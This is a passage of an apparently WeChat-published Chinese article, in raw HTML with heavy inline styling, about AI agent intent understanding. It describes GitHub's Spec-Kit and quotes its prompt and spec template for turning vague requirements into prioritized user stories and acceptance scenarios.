normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在解决任务的过程中，我将其拆分成了两个部分：1.意图的理解2.意图的执行。外部绝大部分其实都聚焦在意图的执行侧，例如ClaudeCode、Codex这类的工具，大家平时也经常在使用。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是在意图的表达目前绝大部分其实都是通过人通过自然语言与Agent工具来不断的沟通交互来实现，由于我们人在表述问题的过程中会遗漏很多理所当然的事情，所以我们过程中会不断的通过自然语言来进行纠正。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以我期望在业务落地场景中，是能够自动化的将我们的意图进行准确的理解，同时完成有效的任务执行。所以接下来我会先以外部的经典项目来介绍意图理解和意图执行这两个部分，并最终介绍自动化演练过程中是如何实践落地的。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们期望最终的Agent项目能够准确执行我们的初始意图，不产生偏离，同时也能高效的完成任务执行，并能在一定程度上实现自我的纠错</span></p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.225;font-size: 1.75em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3. 意图理解：Spec-Kit</span></h2><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目介绍</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031674" alt="image.png" class="rich_pages wxw-img" data-ratio="0.4391304347826087" data-type="png" data-w="920" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=57b7338c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzJ98PUxjCP1CQuwmVdo77AicGKDUQB4hwGsiaUaMCCicJSeVZVj4sml9ibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">项目名称</span></strong><span leaf="">：Spec-Kit</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">项目链接</span></strong><span leaf="">：<a href="https://github.com/github/spec-kit" target="_blank">https://github.com/github/spec-kit</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">项目描述</span></strong><span leaf="">：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Spec-Kit这个项目的主要是将我们输入模糊的意图通过借助Prompt、Agent以及模版的方式将一个模糊的想法转化为结构化的规范、详细的实现计划,然后结合Prompt和Spec-kit中所携带的工具来实现让Agent在执行过程中按照先前制定的计划进行依次执行。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">虽然有可能大家看到prompt+Agent+Template就会觉得好像平平无奇，但是这个工具所体现出来的思想我觉得是非常先进的。AI使用效果差异大的一个重要原因是用户缺乏对大模型能力边界的把握，无法清楚表达需求，没有给大模型提供充足准确的信息。</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">传统模式</span></strong><span leaf="">：用户需求-&gt;AI自由发挥-&gt;代码-&gt;bug修复</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">SpecKit模式</span></strong><span leaf="">：宪法-&gt;规格-&gt;计划-&gt;任务-&gt;约束化实现-&gt;可预测结果</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此Spec-Kit通过各种限制，从而实现能够让AI最终执行能尽可能的按照我们的意图来进行执行，从而实现AI整体结果的可预测性，在分析了这个项目的整体流程之后，我这边列出我觉得比较优势的两个点，并会在这个章节中进行介绍</span></p><ol style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">Question1:Spec-Kit是如何将模糊的意图转化成具体可执行的结构化任务清单的</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">Question2:Spec-Kit是如何尽可能的让整体的开发过程尽可能不偏离我们初始输入的意图</span></p></li></ol><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.1 Question1:模糊意图结构化转化</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在spec-kit中主要分为3个阶段来将我们输入的模糊的意图来实现结构化拆解</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">阶段一：用户意图拆解为用户Story</span></strong></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">借助spec-kit内置的template模版文件以及对应的prompt，从而实现将我们输入的初始需求拆分成多个Story（可理解为模块）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">核心的prompt如下:大致就是基于输入提取关键的动作，然后生成对应的描述，并且在prompt中约束了格式，然后将内容填充到预先设定的template-spec.md文件中</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这里的prompt编写其实非常值得学习，最核心的部分其实就是让LLM去准确的理解我们的意图</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf=""><span class="code-snippet__section">###执行流</span></span></code><br/><code><span leaf="">1.从输入中解析用户描述</span></code><br/><code><span leaf="">如果为空：错误&#34;未提供功能描述&#34;</span></code><br/><code><span leaf="">2.从描述中提取关键概念</span></code><br/><code><span leaf="">识别：参与者、动作、数据、约束</span></code><br/><code><span leaf="">3.对于不清楚的方面：</span></code><br/><code><span leaf="">—根据上下文和行业标准做出合理推断</span></code><br/><code><span leaf="">—仅在以下情况下标注为[需要澄清：具体问题]：</span></code><br/><code><span leaf="">—该选择会显著影响功能范围或用户体验</span></code><br/><code><span leaf="">—存在多种合理的解释，且各自带来不同的影响</span></code><br/><code><span leaf="">—没有合理的默认选项</span></code><br/><code><span leaf="">-**限制：最多3个[需要澄清]标记**</span></code><br/><code><span leaf="">-优先按影响排序澄清事项：范围&gt;安全/隐私&gt;用户体验&gt;技术细节</span></code><br/><code><span leaf="">4.完成“用户场景与测试”部分</span></code><br/><code><span leaf="">如果没有清晰的用户流程：错误“无法确定用户场景”</span></code><br/><code><span leaf="">5.生成功能需求</span></code><br/><code><span leaf="">每一项需求都必须可被测试</span></code><br/><code><span leaf="">对于未指明的细节使用合理的默认值（在“假设”一节中记录假设）</span></code><br/><code><span leaf="">6.定义成功标准</span></code><br/><code><span leaf="">创建可衡量的、与技术无关的结果</span></code><br/><code><span leaf="">包含定量指标（时间、性能、体量）和定性衡量（用户满意度、任务完成度）</span></code><br/><code><span leaf="">每个标准必须可以在不涉及实现细节的情况下被验证</span></code><br/><code><span leaf="">7.确定关键实体（如果涉及数据）</span></code><br/><code><span leaf="">8.返回：SUCCESS（规格已准备好用于规划）</span></code><br/><code><span leaf=""><span class="code-snippet__section">###用于人工智能生成</span></span></code><br/><code><span leaf="">在根据用户提示创建此规范时：</span></code><br/><code><span leaf="">1.<span class="code-snippet__strong">**做出有根据的猜测**</span>：使用上下文、行业标准和常见模式来填补空白</span></code><br/><code><span leaf="">2.<span class="code-snippet__strong">**记录假设**</span>：在“假设”部分记录合理的默认值</span></code><br/><code><span leaf="">3.<span class="code-snippet__strong">**限制澄清次数**</span>：最多3个[NEEDS CLARIFICATION]标记——仅用于对关键决策：</span></code><br/><code><span leaf="">-对功能范围或用户体验有重大影响</span></code><br/><code><span leaf="">-存在多种合理的解释且各有不同影响</span></code><br/><code><span leaf="">-缺乏任何合理的默认选项</span></code><br/><code><span leaf="">4.<span class="code-snippet__strong">**优先澄清事项**</span>：范围&gt;安全/隐私&gt;用户体验&gt;技术细节</span></code><br/><code><span leaf="">5.<span class="code-snippet__strong">**像测试人员一样思考**</span>：每一项模糊的需求都应在“可测试且明确”检查项中判为不通过</span></code><br/><code><span leaf="">6.<span class="code-snippet__strong">**常见需澄清的领域**</span>（仅在不存在合理默认值时）：</span></code><br/><code><span leaf="">-功能范围和边界（包含/排除的具体用例）</span></code><br/><code><span leaf="">-用户类型和权限（如果可能存在多种相互冲突的解释）</span></code><br/><code><span leaf="">-安全/合规要求（在法律/财务上具有重要意义时）</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">模版和prompt输入，LLM就能够根据我们的预定义实现填词，通过填词的方式来让生成对应的护栏</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf=""><span class="code-snippet__section">#功能规范</span></span></code><br/><code><span leaf="">：[FEATURE NAME]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**功能分支**</span>：<span class="code-snippet__code">`[###-feature-name]`</span></span></code><br/><code><span leaf=""><span class="code-snippet__strong">**创建日期**</span>：[DATE]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**状态**</span>：草案</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**输入**</span>：用户描述：“$ARGUMENTS”</span></code><br/><code><span leaf=""><span class="code-snippet__section">##用户场景与测试</span></span></code><br/><code><span leaf="">（<span class="code-snippet__emphasis">*必填*</span>）</span></code><br/><code><span leaf="">&lt;!--</span></code><br/><code><span leaf="">重要：用户故事应按重要性优先排序，作为按优先级排列的用户旅程。--&gt;</span></code><br/><code><span leaf="">每个用户故事/旅程必须能够独立测试——意思是即使你只实现其中一个，</span></code><br/><code><span leaf="">你仍然应该有一个可行的 MVP（最小可行产品），能提供价值。</span></code><br/><code><span leaf="">为每个故事分配优先级（P1、P2、P3 等），其中 P1 最为关键。</span></code><br/><code><span leaf="">把每个故事当作一个独立的功能切片，能够：</span></code><br/><code><span leaf="">-独立开发</span></code><br/><code><span leaf="">-独立测试</span></code><br/><code><span leaf="">-独立部署</span></code><br/><code><span leaf="">-独立向用户演示</span></code><br/><code><span leaf="">--&gt;</span></code><br/><code><span leaf=""><span class="code-snippet__section">###用户故事1</span></span></code><br/><code><span leaf="">-[简短标题]（优先级：P1）</span></code><br/><code><span leaf="">[用通俗语言描述该用户流程]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**为何为此优先级**</span>：[解释其价值以及为何具有此优先级级别]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**独立测试**</span>：[描述如何独立测试——例如，“可以通过[具体操作]进行全面测试，并提供[具体价值]”]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**验收场景**</span>：</span></code><br/><code><span leaf="">1.<span class="code-snippet__strong">**假设**</span>[初始状态]，<span class="code-snippet__strong">**当**</span>[动作]，<span class="code-snippet__strong">**那么**</span>[预期结果]</span></code><br/><code><span leaf=""><span class="code-snippet__section">2.</span><span class="code-snippet__section"><span class="code-snippet__strong">**假设**</span></span><span class="code-snippet__section">[初始状态]，</span><span class="code-snippet__section"><span class="code-snippet__strong">**当**</span></span><span class="code-snippet__section">[动作]，</span><span class="code-snippet__section"><span class="code-snippet__strong">**那么**</span></span><span class="code-snippet__section">[预期结果]</span></span></code><br/><code><span leaf="">---</span></code><br/><code><span leaf=""><span class="code-snippet__section">###用户故事2</span></span></code><br/><code><span leaf="">-[简要标题]（优先级：P2）</span></code><br/><code><span leaf="">[用通俗语言描述该用户流程]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**为何为此优先级**</span>：[解释其价值以及为何具有此优先级级别]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**独立测试**</span>：[描述如何可以独立测试此项]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**验收场景**</span>：</span></code><br/><code><span leaf=""><span class="code-snippet__section">1.</span><span class="code-snippet__section"><span class="code-snippet__strong">**假设**</span></span><span class="code-snippet__section">[初始状态]，</span><span class="code-snippet__section"><span class="code-snippet__strong">**当**</span></span><span class="code-snippet__section">[动作]，</span><span class="code-snippet__section"><span class="code-snippet__strong">**那么**</span></span><span class="code-snippet__section">[预期结果]</span></span></code><br/><code><span leaf="">---</span></code><br/><code><span leaf=""><span class="code-snippet__section">###用户故事3</span></span></code><br/><code><span leaf="">-[简要标题]（优先级：P3）</span></code><br/><code><span leaf="">[用通俗语言描述该用户流程]</span></code><br/><code><span leaf=""><span 